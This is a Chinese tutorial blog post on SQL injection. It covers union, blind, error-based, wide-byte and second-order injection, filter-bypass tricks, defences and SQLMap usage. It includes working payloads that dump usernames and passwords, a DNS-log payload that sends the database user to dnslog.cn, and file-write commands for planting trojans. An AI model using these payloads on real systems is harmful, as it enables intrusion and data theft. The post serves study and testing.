SQL注入:原理、利用、实践技巧与防护手段

总结"SQL注入"

一、SQL注入漏洞的产生

  1. 产生原因:用户发出的一些信息(参数)在未经服务端过滤完全的情况下,被服务器传入数据库执行。

  2. 参数类型:服务端向数据库传入参数的形式可以有很多种,因而出现了不同参数类型,比如:

    • 字符型(单引号):
    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    // 在上面将要被传入数据库的sql语句中,使用一对单引号包裹了用户使用GET方法传来的id值。
    
    • 数字型
    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    // 在上面将要被传入数据库的sql语句中,没有对用户传来的id值进行额外的处理。
    

    还有更多类型,比如双引号、括号等,详细内容在后面的技巧部分再提及。

  3. 注入点的常见位置(它们其实对应了在web应用源码中传入SQL语句的参数的不同获取方式)

    • GET

      传入SQL语句的变量往往是$_GET['XX']$_REQUEST['XX']

    • POST

      传入SQL语句的变量往往是$_POST['XX']$_REQUEST['XX']

    $_GET['id_1']$_POST['id_2']都可以用$_REQUEST['id_1']$_REQUEST['id_2']来对应获取,但$_REQUEST比较慢

    • User-Agent

      往往是$_SERVER['HTTP_USER_AGENT']

    • Cookies

      往往是$_COOKIE['XX']$_SERVER['HTTP_COOKIE']

二、利用:普通注入(联合注入)

对于注入后有数据回显的情景,使用联合注入是比较方便的。

使用order by 列数语句来测试服务端向数据库提交的查询会返回几列数据。

加入服务端的sql拼接是:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

若构造payload?id=1 order by 5--+

SELECT * FROM users WHERE id=1 order by 5 --  LIMIT 0,1

如果前端页面回显了Unknown column '5' in 'order clause',说明数据库返回的查询结果没有第5列,继续减少列数,当正常回显则说明列数与数据库返回的列数匹配。

这时可以使用union select语句来进行联合查询(假设匹配列数是3),构造payload?id=-999 union select 1,2,3确定数据库返回的数据具体对应到前端页面的哪些位置(因为完全有可能有这样的情况:数据库按序返回1 2, 3,而前端页面的显示顺序却是3 2 1)。

接着就可以“爆库”了。

三、利用:盲注

针对前端无数据回显的情况,我们可以构造具有布尔值(真或假)的条件来枚举字符,逐字脱库。

手工盲注很费时,可以编写自动化脚本来提高盲注的效率,也可以使用SqlMap。

1.布尔盲注

如果我们构造的条件真假能够很好地在服务端发给我们的响应中判别(如真假条件返回不同长度的响应主体、真假条件返回某些有特点的字符串标识等)。

  • 典型payload的构造:

    and length(database())>=$num # 来获取数据库名的长度

    and ord(substr(database(),1,1))=$num # 来获取偏移量对应字符的ascii值并和$num比较

    我们可以用以下函数来获取需要的子字符串(可以尝试相互替代):

    substr(string, start, length):从start处可以获取子串

    mid(string, start, *length):从start处可以获取子串,length选填(不填则返回所有剩下字符)

    left(string, length):从左获取子串

    我们可以使用以下函数来获取某个字符的Ascii值:

    ord():返回字符串第一个字符的Ascii值

    ascii():返回字符串最左边字符的Ascii值

# 当目标字符是单字节字符(英文字母和阿拉伯数字等)时ord()和ascii()的区别无法体现
# 但当目标字符是是一个多字节字符(用多个字节来表示一个字符)时,两者返回的结果不相同,如下的'我':

# 使用ord()
mysql> select ord('我');
+------------+
| ord('我')  |
+------------+
|   15108241 |
+------------+
1 row in set (0.00 sec)

# 使用ascii()
mysql> select ascii('我');
+--------------+
| ascii('我')  |
+--------------+
|          230 |
+--------------+
1 row in set (0.00 sec)
2.延时盲注
  		如果我们难以从服务端的响应中判别我们构造条件的真假(无论真假,都返回一样的结果),那我们可以在构造判断条件的同时采用“时延策略”,让真或假中的一种条件时延一段时间,通过响应发来的时延我们就可以判别条件在数据库中的真假。
  	
  		编写payload时要注意<font color = red>**控制时延的长短**</font>,太长了爆破效率不高,太短了难以判别(甚至有可能在网络环境不佳时造成误判)。
	使用`sleep(n)`:休眠n秒、`benchmark(n, f(x))`:重复执行n次`f(x)`和构造查询笛卡儿积等

四、利用Mysql逻辑漏洞:报错注入

  		在没有数据回显的情况下,除了盲注也可以考虑报错注入。
  	
  		报错注入最多回显32个字符,可以使用`mid()`和`substr()`等函数来分批回显。
  • 键重复创建报错(floor报错注入)

    之前写了一篇文章来介绍这种报错注入的原理:SQL注入:floor报错注入的形成原理分析

    • count()concat()floor()rand()group by
    • 该方法需要目标表至少拥有一定数量多的行(如rand(0)至少需要5行)

    这个方法相对而言比较复杂,它的核心原理是利用打印包含count()group by的sql查询时需要先构造一个虚拟表,它将以查询的结果一个个地(比如concat((select xxx), '-', floor(rand(0)*2)))收纳入表中(如果该表中先前有该项为值的键,就给count(*)的值加一)。

    【但最重要的是,每当发现一项和已有项目不同时,它不是直接将该值填入作为新的键,而是重新“调用”这个值(concat((select xxx), '-', floor(rand(0)*2)))并试图为其创建一个新的键,但因为floor(rand(0)*2)被重新调用时可能会有不一样的值,当这个值已经存在与虚拟表中时,mysql就会因试图为创建一个已经存在的键而报错】

    而对于floor(rand(0)*2)这个表达式,当它被连续调用时,它将返回的值始终是0、1、1、0、1… 那么在上述创建虚拟表的情景当中,到第五次时一定就会报错

  # 典型payload
  select count(*), concat((select database(), '0x5c', floor(rand(0)*2)))as a from users group by a--+

相比于其他的报错注入,使用这种"floor(rand(x)*2)"报错注入可以一次返回最多64个字符

# 如下的获取users表中username和password字段的payload
# substr('string', 1, 64)的字符返回跨度达到了64个

?id=-1' union select 1,count(*),concat_ws(":",substr((select group_concat(username, ":",password) from users),1,64), floor(rand(4)*2)) as a from information_schema.tables group by a --+
  • BigInt溢出错误

    • exp()
      ?id=1 and select exp(select * from (select group_concat(table_name) from informatio_schema.tables where table_schema=database())alia)–+
    • pow()
  • 函数参数错误:向函数中写入致错参数,致使其报错

    • updatexml()
      ?id=1 and updatexml(1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 1)–+
    • extractvalue()
      ?id=1 and extractvalue(1, (select group_concat(table_name) from information_schema.tables where table_schema=database()))–+
    • 各种几何函数:
      • geometrycollection()
      • multipoint()
      • polygon()
      • multipolygon()
      • linestring()
      • multilinesstring

五、利用:约束注入

利用数据库对输入参数长度的约束,来尝试覆盖其他已有的数据

如:数据库中已有账号admin,且字段长度为30。

那么我们可以注册一个新的账号admin 1(包含特别长的空格),密码Abc123789,那么这不是对这个特别长的账号进行密码设定,而是相当于修改原有的admin密码为Abc123789(因为太长,这个新账号被数据库认为是admin

六、利用:宽字节注入

如果服务器使用了“转义策略”(比如使用addslashes等函数来添加反斜杠\),且数据库的编码格式是是GBK、GB2312、BIG5等宽字节编码(用多个字节来表示一个字符的编码方式),那么就可以尝试宽字节注入

  • 比如,在payload中的'之前添加%df,这样服务端代码转义时添加的\便落在%df之后、'之前,即:%df\'。那么带入使用宽字节编码的数据库执行时会变成%df5c',即为:某个宽字节字符+',于是payload中的'就绕过了转义过滤

七、利用:堆叠注入

如果存在多个注入点的话,就可以尝试使用堆叠注入,比如登录框中的用户名输入和密码输入都存在注入点。

八、利用:二次注入

二次注入是指,攻击者不直接向Web应用注入数据,而是让恶意payload被数据库所存储,直到管理员(或者攻击者冒用管理员身份【比如利用弱口令登录、利用未授权漏洞访问】)去访问并触发恶意攻击。

值得注意的是,二次注入不仅仅指SQL注入,比如存储型XSS就是一种二次注入的技巧应用,像“宽字节注入”、“堆叠注入”其实也一样可用于XSS攻击。

九、利用:读文件|写文件(注入木马)

要求服务端的MySQL的secure_file_priv参数有特定的值

若`secure_file_priv`="",则mysql可以任意传入或导出文件

若`secure_file_priv`="某目录",则mysql只能在该目录下操作文件

若`secure_file_priv`=NULL,则mysql不能传入或导出文件
1.读出文件
  • DNS Log注入:

    借助dns查询平台(http://www.dnslog.cn和http://ceye.io)
    在这里插入图片描述

    # 典型payload
    ?id=1' and (select load_file(concat('\\\\',(select user()),'.04ybo1.dnslog.cn\\abc')))--+
    

    这样构造以后就相当于去查询’select user()'.04ybo1.dnslog.cn对应的IP信息

  • 可以使用select load_file("p-a-t-h")来读取文件

  • 还有load xxx infile "p-a-t-h" into table test_table(从服务端读)

  • load xxx local infile "p-a-t-h into table test_table"(从客户端读)

2.写入文件
  • 可以使用select xxx into outfile "p-a-t-h"来上传木马

  • select xxx into dumpfile "p-a-t-h" 也类似,区别是这种方式只能写一行

SQLMap的os-shell其实就是利用这种方式来获得shell的


十、绕过技巧

这里是一些简单的绕过技巧,关于waf绕过后续再单独介绍

1.过滤了注释符

如果过滤了常用的注释符:--+#%23

  • 可以闭合后半部分的'""')")'))"))等。

    假如服务端的SQL语句为:select * from user where id = '$id' limit 0 ,1;

    那么构造payload:?id = -1' union select 1,2,3 '

    则将要被执行的SQL语句为:select * from user where id = '-1' union select 1,2,3 '' limit0, 1;

  • %00绕过

2.过滤了andor

如果过滤了andor

则可以考虑使用:

  • 大小写绕过

    ?id=1' aND 1=1 --+

  • 双写绕过

    ?id=1" aandnd 1=1 --+

  • 使用&&||替代

    ?id=-1' || 1=1 --+

  • 使用url编码来替换&|

    %7C对应|%26对应&

3.过滤了逗号
  • substr()mid()等函数中使用fromfor,偏移量使用offset

    比如:

    substr('This_is_a_string', 3, 5)可以等价替换为substr('This_is_a_string' from 3 for 5)

  • 使用join

    union select 1,2,3可以等价替换为union select (select 1)a join (select 2)b join (select 3)c

4.过滤了空格

如果过滤了空格

则可以考虑使用:

  • +替代
  • /**/替代
  • 用url编码替代
    • %09、%0A、%0B、%0C、%0D、%20、%A0
  • 使用报错注入(只需适时使用括号即可)
5.过滤了union
  • 大小写绕过
  • 双写绕过
  • 使用盲注
6.过滤了select
  • 大小写绕过
  • 双写绕过
  • 脱库时不使用select
    • 转而使用handler
    • 转而使用rename、alter改表名:2019强网杯-随便注
7.使用转义来过滤了字符(如'"

服务端使用了addslashed()mysql_escape_string()等函数来转义字符串(在指定字符串前添加一个\

  • 使用宽字节注入

    要求数据库的编码格式是GBK、GB2312、BIG5等宽字节编码(用多个字节来表示一个字符)

  • 使用单双引号对应的HEX十六进制编码替代

    • '对应0x27
    • "对应0x22
8.盲注时发现被过滤了=><like等比较运算符
  • 使用某些特定表达来进行比较

    • greatest()
    • least()
    • strcmp()
    • in关键字
  • 使用REGEXP()来进行正则匹配

十一、SQL注入的防护方法

  • 使用白名单列表来限定用户可查询的内容
  • 尽量使用参数化查询(先将预设的SQL语句的主体进行编译,再传入用户的参数),而避免直接拼接SQL语句【注:该方法对order by等动态查询语句无效,对于这种情况可以使用白名单】
  • 尽量避免打印SQL的错误信息
  • 过滤或转义特殊字符

十二、SQLMap的使用

  • 使用-u来指定目标url
  • 使用--cookie="xxx"来指定包含登陆状态信息的Cookie值
  • 使用--data="uname=xx&passwd=xx&submit=xx"来指定使用POST方式提交的data值
  • 使用--referer domain-name来伪造referer
  • 使用--level来指定探测等级(1-5),使用--risk来制定平台风险等级(1-3)

  • --dbs回显所有的数据库

  • --roles回显所有的数据库管理员

  • --current-db回显当前的数据库

  • --users回显数据库的所有用户

  • --passwords回显数据库的所有用户的密码

  • --current-user查看数据库的当前用户

  • --is_dba查看当前用户是否拥有管理权限


  • 使用-D x --tables来回显x数据库的所有表名

  • 使用-D x -T xx --columns来回显x数据库的xx表的所有列名

  • 使用-D x -T xx -C xxx --dump来指定x数据库的xx表的xxx列的数据

  • 可以使用--dump-all来回显出满足条件的所有数据


  • 可以使用--tamper="xx1.py"来指定使用"xx1.py"绕过模块来对waf进行绕过

    如何判断网站是否有WAF?使用工具WafW00f(一只会找WAF的狗)
    在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Neonline

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值